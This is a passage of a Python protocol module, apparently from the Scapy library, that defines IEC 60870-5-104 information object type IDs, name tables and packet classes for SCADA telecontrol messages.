0x67\nIEC104_IO_ID_C_TS_NA_1 = 0x68\nIEC104_IO_ID_C_RP_NA_1 = 0x69\nIEC104_IO_ID_C_CD_NA_1 = 0x6a\nIEC104_IO_ID_P_ME_NA_1 = 0x6e\nIEC104_IO_ID_P_ME_NB_1 = 0x6f\nIEC104_IO_ID_P_ME_NC_1 = 0x70\nIEC104_IO_ID_P_AC_NA_1 = 0x71\nIEC104_IO_ID_F_FR_NA_1 = 0x78\nIEC104_IO_ID_F_SR_NA_1 = 0x79\nIEC104_IO_ID_F_SC_NA_1 = 0x7a\nIEC104_IO_ID_F_LS_NA_1 = 0x7b\nIEC104_IO_ID_F_AF_NA_1 = 0x7c\nIEC104_IO_ID_F_SG_NA_1 = 0x7d\nIEC104_IO_ID_F_DR_TA_1 = 0x7e\n# specific IOs from 60870-5-104:2006, sec. 8 (p. 37 ff)\nIEC104_IO_ID_C_SC_TA_1 = 0x3a\nIEC104_IO_ID_C_DC_TA_1 = 0x3b\nIEC104_IO_ID_C_RC_TA_1 = 0x3c\nIEC104_IO_ID_C_SE_TA_1 = 0x3d\nIEC104_IO_ID_C_SE_TB_1 = 0x3e\nIEC104_IO_ID_C_SE_TC_1 = 0x3f\nIEC104_IO_ID_C_BO_TA_1 = 0x40\nIEC104_IO_ID_C_TS_TA_1 = 0x6b\nIEC104_IO_ID_F_SC_NB_1 = 0x7f\n\n\ndef _dict_add_reserved_range(d, start, end):\n    for idx in range(start, end + 1):\n        d[idx] = 'reserved_{}'.format(idx)\n\n\nIEC104_IO_DESCRIPTIONS = {\n    0: 'undefined',\n    IEC104_IO_ID_M_SP_NA_1: 'M_SP_NA_1 (single point report)',\n    IEC104_IO_ID_M_SP_TA_1: 'M_SP_TA_1 (single point report with timestamp) '\n                            '# 60870-4-101 only',\n    IEC104_IO_ID_M_DP_NA_1: 'M_DP_NA_1 (double point report)',\n    IEC104_IO_ID_M_DP_TA_1: 'M_DP_TA_1 (double point report with timestamp) '\n                            '# 60870-4-101 only',\n    IEC104_IO_ID_M_ST_NA_1: 'M_ST_NA_1 (step control report)',\n    IEC104_IO_ID_M_ST_TA_1: 'M_ST_TA_1 (step control report with timestamp) '\n                            '# 60870-4-101 only',\n    IEC104_IO_ID_M_BO_NA_1: 'M_BO_NA_1 (bitmask 32 bit)',\n    IEC104_IO_ID_M_BO_TA_1: 'M_BO_TA_1 (bitmask 32 bit with timestamp) '\n                            '# 60870-4-101 only',\n    IEC104_IO_ID_M_ME_NA_1: 'M_ME_NA_1 (meas, normed value)',\n    IEC104_IO_ID_M_ME_TA_1: 'M_ME_TA_1 (meas, normed value with timestamp) '\n                            '# 60870-4-101 only',\n    IEC104_IO_ID_M_ME_NB_1: 'M_ME_NB_1 (meas, scaled value)',\n    IEC104_IO_ID_M_ME_TB_1: 'M_ME_TB_1 (meas, scaled value with timestamp) '\n                            '# 60870-4-101 only',\n    IEC104_IO_ID_M_ME_NC_1: 'M_ME_NC_1 (meas, shortened floating point value)',\n    IEC104_IO_ID_M_ME_TC_1: 'M_ME_TC_1 (meas, shortened floating point value '\n                            'with timestamp) # 60870-4-101 only',\n    IEC104_IO_ID_M_IT_NA_1: 'M_IT_NA_1 (counter value)',\n    IEC104_IO_ID_M_IT_TA_1: 'M_IT_TA_1 (counter value with timestamp) '\n                            '# 60870-4-101 only',\n    IEC104_IO_ID_M_EP_TA_1: 'M_EP_TA_1 (protection event  with timestamp) '\n                            '# 60870-4-101 only',\n    IEC104_IO_ID_M_EP_TB_1: 'M_EP_TB_1 (blocked protection trigger with '\n                            'timestamp) # 60870-4-101 only',\n    IEC104_IO_ID_M_EP_TC_1: 'M_EP_TC_1 (blocked protection action with '\n                            'timestamp) # 60870-4-101 only',\n    IEC104_IO_ID_M_PS_NA_1: 'M_PS_NA_1 (blocked single report with '\n                            'change indication)',\n    IEC104_IO_ID_M_ME_ND_1: 'M_ME_ND_1 (meas, normed value, no quality '\n                            'indication)',\n    IEC104_IO_ID_M_SP_TB_1: 'M_SP_TB_1 (single point report with CP56Time2a '\n                            'time field)',\n    IEC104_IO_ID_M_DP_TB_1: 'M_DP_TB_1 (double point report with CP56Time2a '\n                            'time field)',\n    IEC104_IO_ID_M_ST_TB_1: 'M_ST_TB_1 (step control report with CP56Time2a '\n                            'time field)',\n    IEC104_IO_ID_M_BO_TB_1: 'M_BO_TB_1 (bitmask 32 bit with CP56Time2a time '\n                            'field)',\n    IEC104_IO_ID_M_ME_TD_1: 'M_ME_TD_1 (meas, normed value with CP56Time2a '\n                            'time field)',\n    IEC104_IO_ID_M_ME_TE_1: 'M_ME_TE_1 (meas, scaled value with CP56Time2a '\n                            'time field)',\n    IEC104_IO_ID_M_ME_TF_1: 'M_ME_TF_1 (meas, shortened floating point value '\n                            'with CP56Time2a time field)',\n    IEC104_IO_ID_M_IT_TB_1: 'M_IT_TB_1 (counter with CP56Time2a time field)',\n    IEC104_IO_ID_M_EP_TD_1: 'M_EP_TD_1 (protection event with CP56Time2a '\n                            'time field)',\n    IEC104_IO_ID_M_EP_TE_1: 'M_EP_TE_1 (blocked protection trigger with '\n                            'CP56Time2a time field)',\n    IEC104_IO_ID_M_EP_TF_1: 'M_EP_TF_1 (blocked protection action with '\n                            'CP56Time2a time field)',\n    IEC104_IO_ID_C_SC_NA_1: 'C_SC_NA_1 (single command)',\n    IEC104_IO_ID_C_DC_NA_1: 'C_DC_NA_1 (double command)',\n    IEC104_IO_ID_C_RC_NA_1: 'C_RC_NA_1 (step control command)',\n    IEC104_IO_ID_C_SE_NA_1: 'C_SE_NA_1 (setpoint control command, '\n                            'normed value)',\n    IEC104_IO_ID_C_SE_NB_1: 'C_SE_NB_1 (setpoint control command, '\n                            'scaled value)',\n    IEC104_IO_ID_C_SE_NC_1: 'C_SE_NC_1 (setpoint control command, '\n                            'shortened floating point value)',\n    IEC104_IO_ID_C_BO_NA_1: 'C_BO_NA_1 (bitmask 32 bit)',\n    IEC104_IO_ID_C_SC_TA_1: 'C_SC_TA_1 (single point command with '\n                            'CP56Time2a time field)',\n    IEC104_IO_ID_C_DC_TA_1: 'C_DC_TA_1 (double point command with '\n                            'CP56Time2a time field)',\n    IEC104_IO_ID_C_RC_TA_1: 'C_RC_TA_1 (step control command with '\n                            'CP56Time2a time field)',\n    IEC104_IO_ID_C_SE_TA_1: 'C_SE_TA_1 (setpoint command, normed value with '\n                            'CP56Time2a time field)',\n    IEC104_IO_ID_C_SE_TB_1: 'C_SE_TB_1 (setpoint command, scaled value with '\n                            'CP56Time2a time field)',\n    IEC104_IO_ID_C_SE_TC_1: 'C_SE_TC_1 (setpoint command, shortened floating '\n                            'point value with CP56Time2a time field)',\n    IEC104_IO_ID_C_BO_TA_1: 'C_BO_TA_1 (bitmask 32 command bit with '\n                            'CP56Time2a time field)',\n    IEC104_IO_ID_M_EI_NA_1: 'M_EI_NA_1 (init done)',\n    IEC104_IO_ID_C_IC_NA_1: 'C_IC_NA_1 (general interrogation command)',\n    IEC104_IO_ID_C_CI_NA_1: 'C_CI_NA_1 (counter interrogation command)',\n    IEC104_IO_ID_C_RD_NA_1: 'C_RD_NA_1 (interrogation)',\n    IEC104_IO_ID_C_CS_NA_1: 'C_CS_NA_1 (time synchronisation command)',\n    IEC104_IO_ID_C_TS_NA_1: 'C_TS_NA_1 (test command) # 60870-4-101 only',\n    IEC104_IO_ID_C_RP_NA_1: 'C_RP_NA_1 (process reset command)',\n    IEC104_IO_ID_C_CD_NA_1: 'C_CD_NA_1 (meas telegram transit time command) '\n                            '# 60870-4-101 only',\n    IEC104_IO_ID_C_TS_TA_1: 'C_TS_TA_1 (test command with CP56Time2a '\n                            'time field)',\n    IEC104_IO_ID_P_ME_NA_1: 'P_ME_NA_1 (meas parameter, normed value)',\n    IEC104_IO_ID_P_ME_NB_1: 'P_ME_NB_1 (meas parameter, scaled value)',\n    IEC104_IO_ID_P_ME_NC_1: 'P_ME_NC_1 (meas parameter, shortened floating '\n                            'point value)',\n    IEC104_IO_ID_P_AC_NA_1: 'P_AC_NA_1 (parameter for activation)',\n    IEC104_IO_ID_F_FR_NA_1: 'F_FR_NA_1 (file ready)',\n    IEC104_IO_ID_F_SR_NA_1: 'F_SR_NA_1 (section ready)',\n    IEC104_IO_ID_F_SC_NA_1: 'F_SC_NA_1 (query directory, selection, section)',\n    IEC104_IO_ID_F_LS_NA_1: 'F_LS_NA_1 (last part/segment)',\n    IEC104_IO_ID_F_AF_NA_1: 'F_AF_NA_1 (file/section acknowledgement)',\n    IEC104_IO_ID_F_SG_NA_1: 'F_SG_NA_1 (segment)',\n    IEC104_IO_ID_F_DR_TA_1: 'F_DR_TA_1 (directory)',\n    IEC104_IO_ID_F_SC_NB_1: 'F_SC_NB_1 (query log - request archive file)'\n}\n_dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 22, 29)\n_dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 41, 44)\n_dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 52, 57)\n_dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 65, 69)\n_dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 71, 99)\n_dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 108, 109)\n_dict_add_reserved_range(IEC104_IO_DESCRIPTIONS, 114, 119)\n\nIEC104_IO_NAMES = {\n    0: 'undefined',\n    IEC104_IO_ID_M_SP_NA_1: 'M_SP_NA_1',\n    IEC104_IO_ID_M_SP_TA_1: 'M_SP_TA_1',\n    IEC104_IO_ID_M_DP_NA_1: 'M_DP_NA_1',\n    IEC104_IO_ID_M_DP_TA_1: 'M_DP_TA_1',\n    IEC104_IO_ID_M_ST_NA_1: 'M_ST_NA_1',\n    IEC104_IO_ID_M_ST_TA_1: 'M_ST_TA_1',\n    IEC104_IO_ID_M_BO_NA_1: 'M_BO_NA_1',\n    IEC104_IO_ID_M_BO_TA_1: 'M_BO_TA_1',\n    IEC104_IO_ID_M_ME_NA_1: 'M_ME_NA_1',\n    IEC104_IO_ID_M_ME_TA_1: 'M_ME_TA_1',\n    IEC104_IO_ID_M_ME_NB_1: 'M_ME_NB_1',\n    IEC104_IO_ID_M_ME_TB_1: 'M_ME_TB_1',\n    IEC104_IO_ID_M_ME_NC_1: 'M_ME_NC_1',\n    IEC104_IO_ID_M_ME_TC_1: 'M_ME_TC_1',\n    IEC104_IO_ID_M_IT_NA_1: 'M_IT_NA_1',\n    IEC104_IO_ID_M_IT_TA_1: 'M_IT_TA_1',\n    IEC104_IO_ID_M_EP_TA_1: 'M_EP_TA_1',\n    IEC104_IO_ID_M_EP_TB_1: 'M_EP_TB_1',\n    IEC104_IO_ID_M_EP_TC_1: 'M_EP_TC_1',\n    IEC104_IO_ID_M_PS_NA_1: 'M_PS_NA_1',\n    IEC104_IO_ID_M_ME_ND_1: 'M_ME_ND_1',\n    IEC104_IO_ID_M_SP_TB_1: 'M_SP_TB_1',\n    IEC104_IO_ID_M_DP_TB_1: 'M_DP_TB_1',\n    IEC104_IO_ID_M_ST_TB_1: 'M_ST_TB_1',\n    IEC104_IO_ID_M_BO_TB_1: 'M_BO_TB_1',\n    IEC104_IO_ID_M_ME_TD_1: 'M_ME_TD_1',\n    IEC104_IO_ID_M_ME_TE_1: 'M_ME_TE_1',\n    IEC104_IO_ID_M_ME_TF_1: 'M_ME_TF_1',\n    IEC104_IO_ID_M_IT_TB_1: 'M_IT_TB_1',\n    IEC104_IO_ID_M_EP_TD_1: 'M_EP_TD_1',\n    IEC104_IO_ID_M_EP_TE_1: 'M_EP_TE_1',\n    IEC104_IO_ID_M_EP_TF_1: 'M_EP_TF_1',\n    IEC104_IO_ID_C_SC_NA_1: 'C_SC_NA_1',\n    IEC104_IO_ID_C_DC_NA_1: 'C_DC_NA_1',\n    IEC104_IO_ID_C_RC_NA_1: 'C_RC_NA_1',\n    IEC104_IO_ID_C_SE_NA_1: 'C_SE_NA_1',\n    IEC104_IO_ID_C_SE_NB_1: 'C_SE_NB_1',\n    IEC104_IO_ID_C_SE_NC_1: 'C_SE_NC_1',\n    IEC104_IO_ID_C_BO_NA_1: 'C_BO_NA_1',\n    IEC104_IO_ID_C_SC_TA_1: 'C_SC_TA_1',\n    IEC104_IO_ID_C_DC_TA_1: 'C_DC_TA_1',\n    IEC104_IO_ID_C_RC_TA_1: 'C_RC_TA_1',\n    IEC104_IO_ID_C_SE_TA_1: 'C_SE_TA_1',\n    IEC104_IO_ID_C_SE_TB_1: 'C_SE_TB_1',\n    IEC104_IO_ID_C_SE_TC_1: 'C_SE_TC_1',\n    IEC104_IO_ID_C_BO_TA_1: 'C_BO_TA_1',\n    IEC104_IO_ID_M_EI_NA_1: 'M_EI_NA_1',\n    IEC104_IO_ID_C_IC_NA_1: 'C_IC_NA_1',\n    IEC104_IO_ID_C_CI_NA_1: 'C_CI_NA_1',\n    IEC104_IO_ID_C_RD_NA_1: 'C_RD_NA_1',\n    IEC104_IO_ID_C_CS_NA_1: 'C_CS_NA_1',\n    IEC104_IO_ID_C_TS_NA_1: 'C_TS_NA_1',\n    IEC104_IO_ID_C_RP_NA_1: 'C_RP_NA_1',\n    IEC104_IO_ID_C_CD_NA_1: 'C_CD_NA_1',\n    IEC104_IO_ID_C_TS_TA_1: 'C_TS_TA_1',\n    IEC104_IO_ID_P_ME_NA_1: 'P_ME_NA_1',\n    IEC104_IO_ID_P_ME_NB_1: 'P_ME_NB_1',\n    IEC104_IO_ID_P_ME_NC_1: 'P_ME_NC_1',\n    IEC104_IO_ID_P_AC_NA_1: 'P_AC_NA_1',\n    IEC104_IO_ID_F_FR_NA_1: 'F_FR_NA_1',\n    IEC104_IO_ID_F_SR_NA_1: 'F_SR_NA_1',\n    IEC104_IO_ID_F_SC_NA_1: 'F_SC_NA_1',\n    IEC104_IO_ID_F_LS_NA_1: 'F_LS_NA_1',\n    IEC104_IO_ID_F_AF_NA_1: 'F_AF_NA_1',\n    IEC104_IO_ID_F_SG_NA_1: 'F_SG_NA_1',\n    IEC104_IO_ID_F_DR_TA_1: 'F_DR_TA_1',\n    IEC104_IO_ID_F_SC_NB_1: 'F_SC_NB_1'\n}\n_dict_add_reserved_range(IEC104_IO_NAMES, 22, 29)\n_dict_add_reserved_range(IEC104_IO_NAMES, 41, 44)\n_dict_add_reserved_range(IEC104_IO_NAMES, 52, 57)\n_dict_add_reserved_range(IEC104_IO_NAMES, 65, 69)\n_dict_add_reserved_range(IEC104_IO_NAMES, 71, 99)\n_dict_add_reserved_range(IEC104_IO_NAMES, 108, 109)\n_dict_add_reserved_range(IEC104_IO_NAMES, 114, 119)\n\n\nclass IEC104_IO_InvalidPayloadException(Exception):\n    \"\"\"\n    raised if payload is not of the same type, raw() or a child of IEC104_APDU\n    \"\"\"\n    pass\n\n\nclass IEC104_IO_Packet(Packet):\n    \"\"\"\n    base class of all information object representations\n    \"\"\"\n    DEFINED_IN_IEC_101 = 0x01\n    DEFINED_IN_IEC_104 = 0x02\n\n    _DEFINED_IN = []\n\n    def guess_payload_class(self, payload):\n        return conf.padding_layer\n\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_UNDEFINED\n\n    def iec104_io_type_id(self):\n        \"\"\"\n        get individual type id of the information object instance\n\n        :return: information object type id (IEC104_IO_ID_*)\n        \"\"\"\n        return self._IEC104_IO_TYPE_ID\n\n    def defined_for_iec_101(self):\n        \"\"\"\n        information object ASDU allowed for IEC 60870-5-101\n\n        :return: True if the information object is defined within\n                 IEC 60870-5-101, else False\n        \"\"\"\n        return IEC104_IO_Packet.DEFINED_IN_IEC_101 in self._DEFINED_IN\n\n    def defined_for_iec_104(self):\n        \"\"\"\n        information object ASDU allowed for IEC 60870-5-104\n\n        :return: True if the information object is defined within\n                 IEC 60870-5-104, else False\n        \"\"\"\n        return IEC104_IO_Packet.DEFINED_IN_IEC_104 in self._DEFINED_IN\n\n\nclass IEC104_IO_M_SP_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    single-point information without time tag]\n\n    EN 60870-5-101:2003, sec. 7.3.1.1 (p. 58)\n    \"\"\"\n    name = 'M_SP_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_SP_NA_1\n\n    fields_desc = IEC104_IE_SIQ.informantion_element_fields\n\n\nclass IEC104_IO_M_SP_TA_1(IEC104_IO_Packet):\n    \"\"\"\n    single-point information with time tag\n\n    EN 60870-5-101:2003, sec. 7.3.1.2 (p. 59)\n    \"\"\"\n    name = 'M_SP_TA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_SP_TA_1\n\n    fields_desc = IEC104_IE_SIQ.informantion_element_fields + \\\n        IEC104_IE_CP24TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_M_DP_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    double-point information without time tag\n\n    EN 60870-5-101:2003, sec. 7.3.1.3 (p. 60)\n    \"\"\"\n    name = 'M_DP_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_DP_NA_1\n\n    fields_desc = IEC104_IE_DIQ.informantion_element_fields\n\n\nclass IEC104_IO_M_DP_TA_1(IEC104_IO_Packet):\n    \"\"\"\n    double-point information with time tag\n\n    EN 60870-5-101:2003, sec. 7.3.1.4 (p. 61)\n    \"\"\"\n    name = 'M_DP_TA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_DP_TA_1\n\n    fields_desc = IEC104_IE_DIQ.informantion_element_fields + \\\n        IEC104_IE_CP24TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_M_ST_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    step position information\n\n    EN 60870-5-101:2003, sec. 7.3.1.5 (p. 62)\n    \"\"\"\n    name = 'M_ST_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ST_NA_1\n\n    fields_desc = IEC104_IE_VTI.informantion_element_fields + \\\n        IEC104_IE_QDS.informantion_element_fields\n\n\nclass IEC104_IO_M_ST_TA_1(IEC104_IO_Packet):\n    \"\"\"\n    step position information with time tag\n\n    EN 60870-5-101:2003, sec. 7.3.1.6 (p. 63)\n    \"\"\"\n    name = 'M_ST_TA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ST_TA_1\n\n    fields_desc = IEC104_IE_VTI.informantion_element_fields + \\\n        IEC104_IE_QDS.informantion_element_fields + \\\n        IEC104_IE_CP24TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_M_BO_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    bitstring of 32 bit\n\n    EN 60870-5-101:2003, sec. 7.3.1.7 (p. 64)\n    \"\"\"\n    name = 'M_BO_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_BO_NA_1\n\n    fields_desc = IEC104_IE_BSI.informantion_element_fields + \\\n        IEC104_IE_QDS.informantion_element_fields\n\n\nclass IEC104_IO_M_BO_TA_1(IEC104_IO_Packet):\n    \"\"\"\n    bitstring of 32 bit with time tag\n\n    EN 60870-5-101:2003, sec. 7.3.1.8 (p. 66)\n    \"\"\"\n    name = 'M_BO_TA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_BO_TA_1\n\n    fields_desc = IEC104_IE_BSI.informantion_element_fields + \\\n        IEC104_IE_QDS.informantion_element_fields + \\\n        IEC104_IE_CP24TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_M_ME_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    measured value, normalized value\n\n    EN 60870-5-101:2003, sec. 7.3.1.9 (p. 67)\n    \"\"\"\n    name = 'M_ME_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_NA_1\n\n    fields_desc = IEC104_IE_NVA.informantion_element_fields + \\\n        IEC104_IE_QDS.informantion_element_fields\n\n\nclass IEC104_IO_M_ME_TA_1(IEC104_IO_Packet):\n    \"\"\"\n    measured value, normalized value with time tag\n\n    EN 60870-5-101:2003, sec. 7.3.1.10 (p. 68)\n    \"\"\"\n    name = 'M_ME_TA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TA_1\n\n    fields_desc = IEC104_IE_NVA.informantion_element_fields + \\\n        IEC104_IE_QDS.informantion_element_fields + \\\n        IEC104_IE_CP24TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_M_ME_NB_1(IEC104_IO_Packet):\n    \"\"\"\n    measured value, scaled value\n\n    EN 60870-5-101:2003, sec. 7.3.1.11 (p. 69)\n    \"\"\"\n    name = 'M_ME_NB_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_NB_1\n\n    fields_desc = IEC104_IE_SVA.informantion_element_fields + \\\n        IEC104_IE_QDS.informantion_element_fields\n\n\nclass IEC104_IO_M_ME_TB_1(IEC104_IO_Packet):\n    \"\"\"\n    measured value, scaled value with time tag\n\n    EN 60870-5-101:2003, sec. 7.3.1.12 (p. 71)\n    \"\"\"\n    name = 'M_ME_TB_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TB_1\n\n    fields_desc = IEC104_IE_SVA.informantion_element_fields + \\\n        IEC104_IE_QDS.informantion_element_fields + \\\n        IEC104_IE_CP24TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_M_ME_NC_1(IEC104_IO_Packet):\n    \"\"\"\n    measured value, short floating point number\n\n    EN 60870-5-101:2003, sec. 7.3.1.13 (p. 72)\n    \"\"\"\n    name = 'M_ME_NC_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_NC_1\n\n    fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \\\n        IEC104_IE_QDS.informantion_element_fields\n\n\nclass IEC104_IO_M_ME_TC_1(IEC104_IO_Packet):\n    \"\"\"\n    measured value, short floating point number with time tag\n\n    EN 60870-5-101:2003, sec. 7.3.1.14 (p. 74)\n    \"\"\"\n    name = 'M_ME_TC_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_TC_1\n\n    fields_desc = IEC104_IE_R32_IEEE_STD_754.informantion_element_fields + \\\n        IEC104_IE_QDS.informantion_element_fields + \\\n        IEC104_IE_CP24TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_M_IT_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    integrated totals\n\n    EN 60870-5-101:2003, sec. 7.3.1.15 (p. 75)\n    \"\"\"\n    name = 'M_IT_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_IT_NA_1\n\n    fields_desc = IEC104_IE_BCR.informantion_element_fields\n\n\nclass IEC104_IO_M_IT_TA_1(IEC104_IO_Packet):\n    \"\"\"\n    integrated totals with time tag\n\n    EN 60870-5-101:2003, sec. 7.3.1.16 (p. 77)\n    \"\"\"\n    name = 'M_IT_TA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_IT_TA_1\n\n    fields_desc = IEC104_IE_BCR.informantion_element_fields + \\\n        IEC104_IE_CP24TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_M_EP_TA_1(IEC104_IO_Packet):\n    \"\"\"\n    event of protection equipment with time tag\n\n    EN 60870-5-101:2003, sec. 7.3.1.17 (p. 78)\n    \"\"\"\n    name = 'M_EP_TA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TA_1\n\n    fields_desc = IEC104_IE_SEP.informantion_element_fields + \\\n        IEC104_IE_CP16TIME2A_ELAPSED.informantion_element_fields + \\\n        IEC104_IE_CP24TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_M_EP_TB_1(IEC104_IO_Packet):\n    \"\"\"\n    packed start events of protection equipment with time tag\n\n    EN 60870-5-101:2003, sec. 7.3.1.18 (p. 79)\n    \"\"\"\n    name = 'M_EP_TB_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TB_1\n\n    fields_desc = IEC104_IE_SPE.informantion_element_fields + \\\n        IEC104_IE_QDP.informantion_element_fields + \\\n        IEC104_IE_CP16TIME2A_PROTECTION_ACTIVE.\\\n        informantion_element_fields + \\\n        IEC104_IE_CP24TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_M_EP_TC_1(IEC104_IO_Packet):\n    \"\"\"\n    packed output circuit information of protection equipment with time tag\n\n    EN 60870-5-101:2003, sec. 7.3.1.19 (p. 80)\n    \"\"\"\n    name = 'M_EP_TC_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_EP_TC_1\n\n    fields_desc = IEC104_IE_OCI.informantion_element_fields + \\\n        IEC104_IE_QDP.informantion_element_fields + \\\n        IEC104_IE_CP16TIME2A_PROTECTION_COMMAND.\\\n        informantion_element_fields + \\\n        IEC104_IE_CP24TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_M_PS_NA_1(IEC104_IO_Packet):\n    \"\"\"\n    packed single-point information with status change detection\n\n    EN 60870-5-101:2003, sec. 7.3.1.20 (p. 81)\n    \"\"\"\n    name = 'M_PS_NA_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_PS_NA_1\n\n    fields_desc = IEC104_IE_SCD.informantion_element_fields + \\\n        IEC104_IE_QDS.informantion_element_fields\n\n\nclass IEC104_IO_M_ME_ND_1(IEC104_IO_Packet):\n    \"\"\"\n    measured value, normalized value without quality descriptor\n\n    EN 60870-5-101:2003, sec. 7.3.1.21 (p. 83)\n    \"\"\"\n    name = 'M_ME_ND_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ME_ND_1\n\n    fields_desc = IEC104_IE_NVA.informantion_element_fields\n\n\nclass IEC104_IO_M_SP_TB_1(IEC104_IO_Packet):\n    \"\"\"\n    single-point information with time tag cp56time2a\n\n    EN 60870-5-101:2003, sec. 7.3.1.22 (p. 84)\n    \"\"\"\n    name = 'M_SP_TB_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_SP_TB_1\n\n    fields_desc = IEC104_IE_SIQ.informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_M_DP_TB_1(IEC104_IO_Packet):\n    \"\"\"\n    double-point information with time tag cp56time2a\n\n    EN 60870-5-101:2003, sec. 7.3.1.23 (p. 85)\n    \"\"\"\n    name = 'M_DP_TB_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_DP_TB_1\n\n    fields_desc = IEC104_IE_DIQ.informantion_element_fields + \\\n        IEC104_IE_CP56TIME2A.informantion_element_fields\n\n\nclass IEC104_IO_M_ST_TB_1(IEC104_IO_Packet):\n    \"\"\"\n    step position information with time tag cp56time2a\n\n    EN 60870-5-101:2003, sec. 7.3.1.24 (p. 87)\n    \"\"\"\n    name = 'M_ST_TB_1'\n\n    _DEFINED_IN = [IEC104_IO_Packet.DEFINED_IN_IEC_101,\n                   IEC104_IO_Packet.DEFINED_IN_IEC_104]\n    _IEC104_IO_TYPE_ID = IEC104_IO_ID_M_ST_TB_1\n\n    fields_desc = IEC104_IE_VTI.informantion_element_fields + \\\n        